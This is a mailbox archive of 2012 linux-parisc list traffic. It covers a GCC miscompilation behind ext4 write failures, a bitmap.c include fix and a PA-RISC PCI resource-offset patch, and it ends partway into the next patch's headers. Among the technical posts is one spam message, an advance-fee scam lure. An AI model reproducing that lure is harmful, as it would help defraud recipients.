X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4222
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4222>

On 27-Feb-12, at 9:55 AM, Rolf Eike Beer wrote:

> Recent kernels (>3.x) fail when writing to ext4 filesystems with the
> message "file too large". The critical size is 28672 byte (7*2^12).  
> This
> has been traced down to ext4_max_size() by Tobias Ulmer, which looks  
> like
> this:


Fixed in GCC source trees (> 4.4).  Problem was incorrect shift caused
by truncation to int.

The following instruction was incorrect:

  50:   d7 9f 12 1d     depdi,z,* -1,sar,3,ret0

The length operand was incorrectly calculated.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA64: Cannot write to ext4 filesystems with files > 28672 byte
Date: Mon, 05 Mar 2012 20:02:47 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <2644534.tZXB7rEiue@eto>
References: <51659a45a16b0a5b0ede44e3f3e830dc.squirrel@webmail.sf-mail.de> <BLU0-SMTP92018283116845C259EC9F97530@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1424176.3vNPqjLjSF"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: quoted-printable
X-Trace: dough.gmane.org 1330974201 5713 80.91.229.3 (5 Mar 2012 19:03:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Mar 2012 19:03:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 05 20:03:20 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S4dBn-0006ml-H9
	for glpp-linux-parisc@plane.gmane.org; Mon, 05 Mar 2012 20:03:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757375Ab2CETDS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Mar 2012 14:03:18 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41248 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757336Ab2CETDR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Mar 2012 14:03:17 -0500
Original-Received: (qmail 31857 invoked from network); 5 Mar 2012 19:03:14 -0000
Original-Received: from dslb-092-077-093-040.pools.arcor-ip.net ([::ffff:92.77.93.40]:55031 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 05 Mar 2012 20:03:14 +0100
User-Agent: KMail/4.8.0 (Linux/3.3.0-rc5-2-desktop; KDE/4.8.0; x86_64; ; )
In-Reply-To: <BLU0-SMTP92018283116845C259EC9F97530@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4223>


--nextPart1424176.3vNPqjLjSF
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="iso-8859-1"

Am Sonntag 04 M=E4rz 2012, 17:14:14 schrieb John David Anglin:
> On 27-Feb-12, at 9:55 AM, Rolf Eike Beer wrote:
> > Recent kernels (>3.x) fail when writing to ext4 filesystems with th=
e
> > message "file too large". The critical size is 28672 byte (7*2^12).=

> > This
> > has been traced down to ext4_max_size() by Tobias Ulmer, which look=
s
> > like
>=20
> > this:
> Fixed in GCC source trees (> 4.4).  Problem was incorrect shift cause=
d
> by truncation to int.
>=20
> The following instruction was incorrect:
>=20
>   50:   d7 9f 12 1d     depdi,z,* -1,sar,3,ret0
>=20
> The length operand was incorrectly calculated.

As I said ;)

Linux pioneer 3.2.9 #1 SMP Mon Mar 5 13:17:55 CET 2012 parisc64 PA8800 =
(Mako)=20
9000/785/C8000 GNU/Linux

And I can now properly use the ext4 filesystems again, yay!

Thanks, excellent work!

Eike
--nextPart1424176.3vNPqjLjSF
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk9VDdcACgkQXKSJPmm5/E7HEgCffEcgRDqABrhNCuCzewAb2zDx
wFEAn0R+FDn1J9Nx5FMysorU7kr5szD3
=ZRXe
-----END PGP SIGNATURE-----

--nextPart1424176.3vNPqjLjSF--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Lin Huang" <info@info.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Proposal
Date: Tue, 6 Mar 2012 09:01:59 +0800
Lines: 6
Approved: news@gmane.org
Message-ID: <16562.5791800723$1330996416@news.gmane.org>
Reply-To: <llii.nhuang@9.cn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330996416 8601 80.91.229.3 (6 Mar 2012 01:13:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 6 Mar 2012 01:13:36 +0000 (UTC)
To: info@info.net
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 06 02:13:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S4iy4-00073P-7T
	for glpp-linux-parisc@plane.gmane.org; Tue, 06 Mar 2012 02:13:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758123Ab2CFBNa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Mar 2012 20:13:30 -0500
Original-Received: from smtp206.alice.it ([82.57.200.102]:34154 "EHLO smtp206.alice.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757860Ab2CFBMs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Mar 2012 20:12:48 -0500
X-Greylist: delayed 638 seconds by postgrey-1.27 at vger.kernel.org; Mon, 05 Mar 2012 20:12:47 EST
Original-Received: from User (182.63.67.97) by smtp206.alice.it (8.6.023.02) (authenticated as niki.mas2@alice.it)
        id 4F1836AD05C72691; Tue, 6 Mar 2012 02:02:07 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4224>

There is a fund i need you to claim.Reply for details
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: parisc: fix lib/bitmap.c in linux-next
Date: Tue, 6 Mar 2012 20:44:27 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <CAP=VYLqRj3tJCMyiJy-Sq0cnSGrSWUsuGqdjqYQGfs77ONYhFw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1331084674 8537 80.91.229.3 (7 Mar 2012 01:44:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 7 Mar 2012 01:44:34 +0000 (UTC)
To: linux-next@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 07 02:44:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S55vY-0006xa-Mj
	for glpp-linux-parisc@plane.gmane.org; Wed, 07 Mar 2012 02:44:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965187Ab2CGBo2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 6 Mar 2012 20:44:28 -0500
Original-Received: from mail-pw0-f46.google.com ([209.85.160.46]:62956 "EHLO
	mail-pw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964983Ab2CGBo1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 6 Mar 2012 20:44:27 -0500
Original-Received: by pbcun15 with SMTP id un15so74728pbc.19
        for <multiple recipients>; Tue, 06 Mar 2012 17:44:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        bh=8XfisP6UplU47yFVs+FLsSjiP3Uy4xUTuLQXEoUKvIw=;
        b=B5sRaStAP0lqegoU+mPsZwESLK30EAXeod8F/cndacDrEDpJQU2aXjludk72t7lU/v
         Bz0fARBbRFBZ1AsTf+fD/CNYoWHVhRAOl8YUFJSy8mixrmsHpPeJHvq7hQho7HwowQ1O
         kOthHJiCFzua1yr01Bg8wtAE5xAAevzhydGacCU6vdXpRlgKP4Ngjj0zBUZy9O5nt1bp
         AolY1SHOXiSZjlqKCnORluiSwfZ9Hpow4OYDouPMmtDEDTKJZSkRNrNvuQiC5z58mN+r
         CCawUuCwvP3ArA/VzzSoLY0LVC+UlDwB1Wyy1YxNXbqWgPAq3a8D9JhKbewZpU+Ag0M8
         e48A==
Original-Received: by 10.68.216.4 with SMTP id om4mr1189344pbc.19.1331084667024; Tue,
 06 Mar 2012 17:44:27 -0800 (PST)
Original-Received: by 10.68.208.168 with HTTP; Tue, 6 Mar 2012 17:44:27 -0800 (PST)
X-Google-Sender-Auth: YFzAdVJcXYW1l5B7bsmArAuFDaA
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4226 gmane.linux.kernel.next:21142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4226>
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4226>

I'm glad I pushed to fix parisc in linux-next, since now I can tell
when I've broken it.  :)  [but hey it was a good five days while it
lasted though!]

For those of you following parisc in linux-next, as per here:

    http://kisskb.ellerman.id.au/kisskb/target/2059/

the fix is a trivial include that seems specific to parisc:

diff --git a/lib/bitmap.c b/lib/bitmap.c
index e255bfb..0b39614 100644
--- a/lib/bitmap.c
+++ b/lib/bitmap.c
@@ -11,6 +11,8 @@
 #include <linux/bitmap.h>
 #include <linux/bitops.h>
 #include <linux/bug.h>
+#include <linux/thread_info.h>
+
 #include <asm/uaccess.h>

and I'll have this in the module-3.4 tree in linux-next tomorrow.

Thanks,
Paul.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH v3 26/34] parisc/PCI: get rid of device resource fixups
Date: Wed, 07 Mar 2012 15:34:17 -0700
Lines: 253
Approved: news@gmane.org
Message-ID: <20120307223417.25669.59868.stgit@bhelgaas.mtv.corp.google.com>
References: <20120307222436.25669.52282.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1331159662 12455 80.91.229.3 (7 Mar 2012 22:34:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 7 Mar 2012 22:34:22 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-pci@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>
Original-X-From: linux-pci-owner@vger.kernel.org Wed Mar 07 23:34:21 2012
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1S5PR6-00021S-Q4
	for glp-linux-pci@plane.gmane.org; Wed, 07 Mar 2012 23:34:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030800Ab2CGWeU (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Wed, 7 Mar 2012 17:34:20 -0500
Original-Received: from mail-lpp01m010-f74.google.com ([209.85.215.74]:48179 "EHLO
	mail-lpp01m010-f74.google.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1030794Ab2CGWeT (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Wed, 7 Mar 2012 17:34:19 -0500
Original-Received: by mail-lpp01m010-f74.google.com with SMTP id i8so246764laa.1
        for <linux-pci@vger.kernel.org>; Wed, 07 Mar 2012 14:34:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=UnHHDeHex5762+gOo77FzLdpXbn7IiTot/RBblzwIbY=;
        b=LibThTKHtPdAZgq71gWK6TkHb9s62MuxPjO6agf2wy6P9BS0GYyv0hS2YZYR5TDU5f
         mvBTikHTtCwPL2edXivon143IaXVBAPYMFb4sYaBZY+NSJgoDDscoph81D9lr77LOKW4
         pb/j5g81+1xU+mC486nbZ1FE7C0TDdrd2hfyhBxYBSDrqcVwjXBXtzyJtsUmZgyV4ba4
         iCMYKjBzbNNt5wU2GZgrJ8GEODruYxod71A+54henQm7Ejh3Es57SGfdO6KXvD4sgJBr
         sWFpdrvZfoPXimWxYrRFfuuDGxEfRS0p1GWOIonQJ44hwnNNZ0FlxSPE6N4YMdrbV1c3
         bYFg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=UnHHDeHex5762+gOo77FzLdpXbn7IiTot/RBblzwIbY=;
        b=E6MgDbFaRNZ27Wo8uuTGxNRWUxy6nvkN1ED7u7t8XQWIMXNIEX/ggkp/F8QYlCrFQC
         9ZYVxFmlo6CmJIWclHY5Inw9GcxIqSQKd+l6ysbzl/HYOs3qa3JQH1+tlTECEBOVc/PJ
         9rDoldtFNlb2c8GEpBNS6gwhqv3AiY1SQxyQOnX278RR7MMEhews13cqfnkaZEb1nnBR
         Cz++rOpFq0XGDX70fXV10MZsnDckFmEBd9BHQxIBH4Lwqm6P+MtfHCV5RZv7/C3Mzl3T
         hgYI8/9UYS1RCG9JipHPLwP+xN+/hpdS789ikMIqrrdYDQPMpcbTGJHGKrlsaSRc7sTR
         3bbA==
Original-Received: by 10.213.109.11 with SMTP id h11mr558982ebp.17.1331159658375;
        Wed, 07 Mar 2012 14:34:18 -0800 (PST)
Original-Received: by 10.213.109.11 with SMTP id h11mr558968ebp.17.1331159658176;
        Wed, 07 Mar 2012 14:34:18 -0800 (PST)
Original-Received: from hpza10.eem.corp.google.com ([74.125.121.33])
        by gmr-mx.google.com with ESMTPS id s9si14587060eei.3.2012.03.07.14.34.18
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Wed, 07 Mar 2012 14:34:18 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by hpza10.eem.corp.google.com (Postfix) with ESMTP id CE98720004E;
	Wed,  7 Mar 2012 14:34:17 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id 31405180146;
	Wed,  7 Mar 2012 14:34:17 -0800 (PST)
In-Reply-To: <20120307222436.25669.52282.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-Gm-Message-State: ALoCoQms1P66KgSM5inpE0Bx09d3LbCA/Ez+bUG2F2VuL36hbGriMevvpkV2atNQwp92YRwHv9smf28YDigPhnADxA3ndIfHIVxsfycJ9KINspdzvYEaiEmVRKq+BHYrEpmtJQu3/QABvOc+iGxTMEd0lRbvfJwGPZzjMJLdFnvg2U1HKqppKaY=
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:14093 gmane.linux.kernel.cross-arch:13074 gmane.linux.ports.parisc:4227
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/14093>

Tell the PCI core about host bridge address translation so it can take
care of bus-to-resource conversion for us.

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/parisc/include/asm/pci.h |   38 +-----------------------------
 arch/parisc/kernel/pci.c      |   52 -----------------------------------------
 drivers/parisc/dino.c         |   27 +++++----------------
 drivers/parisc/lba_pci.c      |   31 +++++-------------------
 4 files changed, 13 insertions(+), 135 deletions(-)

diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 2242a5c..a8b591f 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -82,38 +82,8 @@ struct pci_hba_data {
 
 #ifdef CONFIG_64BIT
 #define PCI_F_EXTEND		0xffffffff00000000UL
-#define PCI_IS_LMMIO(hba,a)	pci_is_lmmio(hba,a)
-
-/* We need to know if an address is LMMMIO or GMMIO.
- * LMMIO requires mangling and GMMIO we must use as-is.
- */
-static __inline__  int pci_is_lmmio(struct pci_hba_data *hba, unsigned long a)
-{
-	return(((a) & PCI_F_EXTEND) == PCI_F_EXTEND);
-}
-
-/*
-** Convert between PCI (IO_VIEW) addresses and processor (PA_VIEW) addresses.
-** See pci.c for more conversions used by Generic PCI code.
-**
-** Platform characteristics/firmware guarantee that
-**	(1) PA_VIEW - IO_VIEW = lmmio_offset for both LMMIO and ELMMIO
-**	(2) PA_VIEW == IO_VIEW for GMMIO
-*/
-#define PCI_BUS_ADDR(hba,a)	(PCI_IS_LMMIO(hba,a)	\
-		?  ((a) - hba->lmmio_space_offset)	/* mangle LMMIO */ \
-		: (a))					/* GMMIO */
-#define PCI_HOST_ADDR(hba,a)	(((a) & PCI_F_EXTEND) == 0 \
-		? (a) + hba->lmmio_space_offset \
-		: (a))
-
 #else	/* !CONFIG_64BIT */
-
-#define PCI_BUS_ADDR(hba,a)	(a)
-#define PCI_HOST_ADDR(hba,a)	(a)
 #define PCI_F_EXTEND		0UL
-#define PCI_IS_LMMIO(hba,a)	(1)	/* 32-bit doesn't support GMMIO */
-
 #endif /* !CONFIG_64BIT */
 
 /*
@@ -245,13 +215,7 @@ static inline void pci_dma_burst_advice(struct pci_dev *pdev,
 }
 #endif
 
-extern void
-pcibios_resource_to_bus(struct pci_dev *dev, struct pci_bus_region *region,
-			 struct resource *res);
-
-extern void
-pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
-			struct pci_bus_region *region);
+#define ARCH_HAS_GENERIC_PCI_OFFSETS
 
 static inline void pcibios_penalize_isa_irq(int irq, int active)
 {
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 9efd974..74d544b 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -195,58 +195,6 @@ void __init pcibios_init_bus(struct pci_bus *bus)
 	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl);
 }
 
-/* called by drivers/pci/setup-bus.c:pci_setup_bridge().  */
-void __devinit pcibios_resource_to_bus(struct pci_dev *dev,
-		struct pci_bus_region *region, struct resource *res)
-{
-#ifdef CONFIG_64BIT
-	struct pci_hba_data *hba = HBA_DATA(dev->bus->bridge->platform_data);
-#endif
-
-	if (res->flags & IORESOURCE_IO) {
-		/*
-		** I/O space may see busnumbers here. Something
-		** in the form of 0xbbxxxx where bb is the bus num
-		** and xxxx is the I/O port space address.
-		** Remaining address translation are done in the
-		** PCI Host adapter specific code - ie dino_out8.
-		*/
-		region->start = PCI_PORT_ADDR(res->start);
-		region->end   = PCI_PORT_ADDR(res->end);
-	} else if (res->flags & IORESOURCE_MEM) {
-		/* Convert MMIO addr to PCI addr (undo global virtualization) */
-		region->start = PCI_BUS_ADDR(hba, res->start);
-		region->end   = PCI_BUS_ADDR(hba, res->end);
-	}
-
-	DBG_RES("pcibios_resource_to_bus(%02x %s [%lx,%lx])\n",
-		dev->bus->number, res->flags & IORESOURCE_IO ? "IO" : "MEM",
-		region->start, region->end);
-}
-
-void pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
-			      struct pci_bus_region *region)
-{
-#ifdef CONFIG_64BIT
-	struct pci_hba_data *hba = HBA_DATA(dev->bus->bridge->platform_data);
-#endif
-
-	if (res->flags & IORESOURCE_MEM) {
-		res->start = PCI_HOST_ADDR(hba, region->start);
-		res->end = PCI_HOST_ADDR(hba, region->end);
-	}
-
-	if (res->flags & IORESOURCE_IO) {
-		res->start = region->start;
-		res->end = region->end;
-	}
-}
-
-#ifdef CONFIG_HOTPLUG
-EXPORT_SYMBOL(pcibios_resource_to_bus);
-EXPORT_SYMBOL(pcibios_bus_to_resource);
-#endif
-
 /*
  * pcibios align resources() is called every time generic PCI code
  * wants to generate a new address. The process of looking for
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..0610e91 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -553,7 +553,6 @@ dino_fixup_bus(struct pci_bus *bus)
 	struct list_head *ln;
         struct pci_dev *dev;
         struct dino_device *dino_dev = DINO_DEV(parisc_walk_tree(bus->bridge));
-	int port_base = HBA_PORT_BASE(dino_dev->hba.hba_num);
 
 	DBG(KERN_WARNING "%s(0x%p) bus %d platform_data 0x%p\n",
 	    __func__, bus, bus->secondary,
@@ -599,8 +598,6 @@ dino_fixup_bus(struct pci_bus *bus)
 
 
 	list_for_each(ln, &bus->devices) {
-		int i;
-
 		dev = pci_dev_b(ln);
 		if (is_card_dino(&dino_dev->hba.dev->id))
 			dino_card_fixup(dev);
@@ -612,21 +609,6 @@ dino_fixup_bus(struct pci_bus *bus)
 		if ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI)
 			continue;
 
-		/* Adjust the I/O Port space addresses */
-		for (i = 0; i < PCI_NUM_RESOURCES; i++) {
-			struct resource *res = &dev->resource[i];
-			if (res->flags & IORESOURCE_IO) {
-				res->start |= port_base;
-				res->end |= port_base;
-			}
-#ifdef __LP64__
-			/* Sign Extend MMIO addresses */
-			else if (res->flags & IORESOURCE_MEM) {
-				res->start |= F_EXTEND(0UL);
-				res->end   |= F_EXTEND(0UL);
-			}
-#endif
-		}
 		/* null out the ROM resource if there is one (we don't
 		 * care about an expansion rom on parisc, since it
 		 * usually contains (x86) bios code) */
@@ -991,11 +973,14 @@ static int __init dino_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = dino_dev;
 
-	pci_add_resource(&resources, &dino_dev->hba.io_space);
+	pci_add_resource_offset(&resources, &dino_dev->hba.io_space,
+				HBA_PORT_BASE(dino_dev->hba.hba_num));
 	if (dino_dev->hba.lmmio_space.flags)
-		pci_add_resource(&resources, &dino_dev->hba.lmmio_space);
+		pci_add_resource_offset(&resources, &dino_dev->hba.lmmio_space,
+					dino_dev->hba.lmmio_space_offset);
 	if (dino_dev->hba.elmmio_space.flags)
-		pci_add_resource(&resources, &dino_dev->hba.elmmio_space);
+		pci_add_resource_offset(&resources, &dino_dev->hba.elmmio_space,
+					dino_dev->hba.lmmio_space_offset);
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..e885764 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -635,7 +635,6 @@ lba_fixup_bus(struct pci_bus *bus)
 	u16 status;
 #endif
 	struct lba_device *ldev = LBA_DEV(parisc_walk_tree(bus->bridge));
-	int lba_portbase = HBA_PORT_BASE(ldev->hba.hba_num);
 
 	DBG("lba_fixup_bus(0x%p) bus %d platform_data 0x%p\n",
 		bus, bus->secondary, bus->bridge->platform_data);
@@ -726,27 +725,6 @@ lba_fixup_bus(struct pci_bus *bus)
 			if (!res->start)
 				continue;
 
-			if (res->flags & IORESOURCE_IO) {
-				DBG("lba_fixup_bus() I/O Ports [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start |= lba_portbase;
-				res->end   |= lba_portbase;
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else if (res->flags & IORESOURCE_MEM) {
-				/*
-				** Convert PCI (IO_VIEW) addresses to
-				** processor (PA_VIEW) addresses
-				 */
-				DBG("lba_fixup_bus() MMIO [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start = PCI_HOST_ADDR(HBA_DATA(ldev), res->start);
-				res->end   = PCI_HOST_ADDR(HBA_DATA(ldev), res->end);
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else {
-				DBG("lba_fixup_bus() WTF? 0x%lx [%lx/%lx] XXX",
-					res->flags, res->start, res->end);
-			}
-
 			/*
 			** FIXME: this will result in whinging for devices
 			** that share expansion ROMs (think quad tulip), but
@@ -1514,11 +1492,14 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->hba.lmmio_space.flags = 0;
 	}
 
-	pci_add_resource(&resources, &lba_dev->hba.io_space);
+	pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
+				HBA_PORT_BASE(lba_dev->hba.hba_num));
 	if (lba_dev->hba.elmmio_space.start)
-		pci_add_resource(&resources, &lba_dev->hba.elmmio_space);
+		pci_add_resource_offset(&resources, &lba_dev->hba.elmmio_space,
+					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.lmmio_space.flags)
-		pci_add_resource(&resources, &lba_dev->hba.lmmio_space);
+		pci_add_resource_offset(&resources, &lba_dev->hba.lmmio_space,
+					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 23/35] Disintegrate asm/system.h for PA-RISC [ver #2]
Date: Mon, 12 Mar 2012 23:39:55 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
 Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
 Kingdom.
 Registered in England and Wales under Company Registration No. 3798903
Lines: 622
Approved: news@gmane.org
Message-ID: <20120312233955.13888.12370.stgit@warthog.procyon.org.uk>
References: <20120312233602.13888.27659.stgit@warthog.procyon.org.uk>
